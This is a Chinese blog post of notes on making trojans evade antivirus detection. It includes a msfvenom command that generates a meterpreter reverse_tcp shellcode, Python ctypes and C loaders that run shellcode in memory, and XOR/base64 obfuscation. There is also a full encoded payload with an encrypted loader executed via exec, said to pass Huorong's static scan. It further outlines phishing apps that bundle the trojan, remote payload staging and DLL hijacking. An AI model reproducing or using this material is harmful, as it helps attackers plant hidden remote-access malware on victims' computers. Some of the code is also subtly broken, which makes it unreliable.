木马免杀
免杀主要是对木马对应的二进制码(shellcode)进行混淆、加密(绕过特征检测),让杀毒软件识别不出来。
msfvenom-shellcode
使用msf生成shellcode(马对应的16进制),再使用高级语言加载上述生成的shellcode。然后把python程序打包成exe文件
msfvenom -p windows/x64/meterpreter/reverse_tcp -f py -o shellcode.py
pip install PyInstaller
pyinstaller.exe -F -w source.py 生成的exe文件会把运行python需要的环境解压到一个临时文件(用c语言好一些,程序更小)
加载代码:
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0,len(buf),0x3000,0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(buf),len(buf))
handle = ctypes.windll.kernel32.CreateThread(0,0,ctypes.c_uint64(rwxpage),0,0,0)
ctypes.windll.kernel32.WaitForSingleObject(handle,-1)
上述直接打包python当exe会被火绒直接杀掉
杀软查杀:
静态查杀:特征匹配进而查杀
动态查杀:根据行为进行查杀
代码实现简单免杀
(1)
base64加密shellcode
对base64结果每个字符进行异或运算
拼接异或运算结果
buf = shellcode
result = base64.b64encode(buf)
source = ''
for a in result:
temp = c^137
source += str(temp)+'-'
print(source[0:-1])
解密文件
secretCode = 加密结果
b64=''
list = source.split('-')
for i in list:
temp = int(i)^137
b64+=chr(temp)
print(b64)
buf=base64.b64decode(b64)
print(buf)
加载器加密
把加载器代码写成字符串,用exec把字符串当代码执行
字符串就可以加密解密
解密加密的加载器代码密文,执行加载器代码从而运行shellcode
注意:上述方法依然会被火绒查杀
(2)
上述基础上尝试把加载器也进行加密,然后解密执行
发现对加载器和shellcode进行加密,再在恶意文件中分别进行解密,并使用可绕过火绒的查杀,双击运行火绒也没报毒。windwos自带的扫描时没报毒,但是一运行就查杀了(动态查杀)
import base64
import ctypes
code = '84-62-18-63-78-43-63-20-1-58-58-58-58-62-61-41-42-45-57-40-46-45-33-50-54-31-49-23-40-50-15-40-34-62-18-55-46-19-19-50-18-74-50-28-47-47-51-49-40-50-15-2-46-62-28-43-15-75-11-48-40-63-51-58-9-63-3-19-29-58-50-8-50-62-51-57-2-42-74-57-58-24-51-18-76-45-49-50-18-74-50-28-42-45-60-55-42-17-3-50-58-31-57-22-28-35-28-34-56-12-50-43-19-35-50-58-58-58-56-55-28-50-28-58-58-58-57-50-19-24-57-75-33-75-28-57-75-62-40-55-42-56-57-42-40-42-51-42-18-75-28-34-79-74-33-50-84-67-23-57-18-1-40-50-47-47-51-49-40-58-51-44-40-63-51-58-9-62-51-57-2-42-74-57-58-24-62-79-79-51-35-3-47-58-53-54-49-58-19-61-52-31-61-74-73-61-19-62-18-75-58-16-40-42-51-42-33-16-60-55-63-62-19-62-18-75-58-24-40-42-51-42-42-34-8-62-18-62-28-57-75-62-61-34-42-45-19-30-44-45-11-57-44-62-61-33-42-45-11-50-28-80-12-28-42-45-55-84-79-61-19-57-44-45-11-50-18-3-55-11-40-84-84-84-84-74-74-49-13-21-31-1-54-23-67-1-54-28-58-58-42-45-33-49-18-30-33-50-28-30-2-28-58-42-58-58-40-34-21-23-40-25-12-56-58-63-58-78-12-48-28-9-74-75-61-46-40-34-21-16-47-50-21-3-42-25-11-54-31-2-34-51-84-66-45-54-18-30-11-20-58-42-62-58-58-61-23-57-14-18-22-58-26-12-63-84-74-44-20-48-42-45-78-42-46-62-75-3-2-46-75-3-12-62-17-84-12-62-18-49-12-16-17-84-12-62-18-49-12-46-60-77-77-28-84-29-79-43-84-45-40-50-21-51-26-19-57-57-44-62-2-49-79-16-18-49-80-46-60-77-22-26-45-75-34-29-84-45-19-24-57-75-56-16-21-84-1-21-35-23-77-49-54-58-58-58-57-50-28-80-12-42-40-50-21-18-47-47-51-49-26-28-41-57-44-62-18-49-80-46-60-77-58-15-21-50-35-84-84-45-28-84-28-58-29-23-45-50-28-67-42-28-35-20-21-73-26-16-57-57-44-44-28-58-62-58-58-58-42-45-19-50-18-29-49-50-54-24-23-57-14-23-18-16-46-80-35-84-74-46-18-49-12-75-22-49-3-75-75-3-2-46-22-49-67-62-18-49-73-16-18-49-80-46-60-77-58-15-21-50-35-84-84-45-28-84-28-58-29-40-19-34-42-45-31-33-26-58-57-58-58-58-57-57-44-60-20-58-44-16-60-77-56-2-67-43-54-43-84-45-45-74-23-57-14-21-45-14-47-44-51-84-74-46-21-84-1-14-16-67-84-84-84-84-40-58-51-63-40-56-21-60-40-50-35-73-31-25-41-57-84-80-31-34-26-28-57-33-40-24-29-56-67-55-44-18-45-13-84-45'
c1=''
for i in code.split('-'):
temp = int(i)^123
c1 += chr(temp)
buf=base64.b64decode(c1)
# strc='ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0,len(buf),0x3000,0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage),ctypes.create_string_buffer(buf),len(buf));handle = ctypes.windll.kernel32.CreateThread(0,0,ctypes.c_uint64(rwxpage),0,0,0);ctypes.windll.kernel32.WaitForSingleObject(handle,-1)'
strc1='38-76-45-74-28-56-41-5-51-17-27-15-29-18-45-12-29-60-74-13-37-39-53-10-37-40-8-5-50-22-74-40-30-39-53-79-27-40-57-12-46-40-7-12-29-77-50-10-28-18-41-5-27-55-19-8-37-43-78-21-27-55-19-8-37-39-50-10-38-78-70-78-30-40-74-79-49-21-46-72-28-17-27-75-28-56-57-17-37-44-62-70-54-56-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-41-18-19-6-27-55-41-23-29-58-57-12-29-56-70-21-52-59-62-12-29-56-41-10-52-56-53-78-37-22-20-12-50-55-24-5-50-59-62-8-51-59-61-75-49-59-62-15-48-77-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-42-17-45-12-43-40-70-77-37-42-78-19-29-40-70-6-26-44-23-21-27-55-19-8-37-39-50-10-38-78-70-78-30-40-74-79-49-21-46-16-28-17-27-75-28-56-57-17-37-44-20-12-38-76-45-74-28-56-41-5-51-18-49-6-37-40-57-79-37-41-70-5-27-55-53-15-29-18-27-25-38-17-41-18-37-18-41-6-52-56-53-78-37-22-20-12-29-56-41-10-52-56-53-78-37-22-20-15-48-77-23-23-29-18-45-12-37-44-62-70-54-56-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-46-76-53-19-38-39-45-19-41-56-23-6-37-40-57-20-52-59-62-12-50-60-7-21-27-55-19-8-37-39-50-10-38-78-70-78-30-40-74-79-49-21-46-16-28-17-27-75-28-56-57-17-37-44-20-12-50-60-8-8-51-59-62-15-48-77-49-79-26-39-61-19-28-6-74-76-30-40-74-20-29-56-8-10-30-77-41-6-29-18-41-12-50-5-54-10-41-77-57-15-27-58-37-9-28-19-49-15-29-18-27-12-37-42-70-22-30-18-41-21-27-60-23-16-38-40-74-20-29-56-42-12-51-43-58-15'
strc=''
for h in strc1.split('-'):
temp = int(h)^127
strc+=chr(temp)
strc2=base64.b64decode(strc)
exec(strc2)
钓鱼应用
python的tkinter库
做一个应用程序,在里面加入用之前思路加密后进行免杀的木马程序。运行正常应用木马程序跟着运行。
注意:python打包exe文件其实不是编译成exe,exe文件只是打包了python的运行环境,运行exe环境被加载到某个目录
网络分离免杀
把恶意代码,加载器代码放到远程机器,代码request去请求远程的恶意代码和加载器代码,然后加载运行。
注意:恶意代码请求到后要转为二进制
本地分离:就是把恶意代码和加载器代码放到文件里面,写程序加载文件内容然后执行
C语言DLL加载shellcode
什么是DLL
DDL:动态链接库,无法自己运行,需要调用
dev-c++创建dll项目编译好dll文件
python调用dll
import ctypes
func = ctypes.CDLL("路径")
func.Hello()
c语言加载shellcode
buf[]=shellcode;
void start1(){
((void(*)(void))&buf)();
}
void start2(){
void *p = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
MEMCPY(P,BUF,SIZEOF(BUF));
CODE code = (CODE)p;
code();
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE,0,0);
void* exec = HeapAlloc(myHeap,HEAP_ZERO_MEMORY,sizeof(buf));
memcpy(exec,buf,sizeof(buf));
((void(*)())exec)();
}
main函数调用
DLL劫持免杀
在DLL文件中植入木马,将其模拟成别的应用程序(有数字签名最好)调用的函数名
需要找到正常程序调用的DLL函数、参数
(1)DLL函数植入shellcode
(2)一个程序调用DLL
标签:免杀,渗透,18,57,28,50,40,58 From: https://www.cnblogs.com/q1stop/p/18093230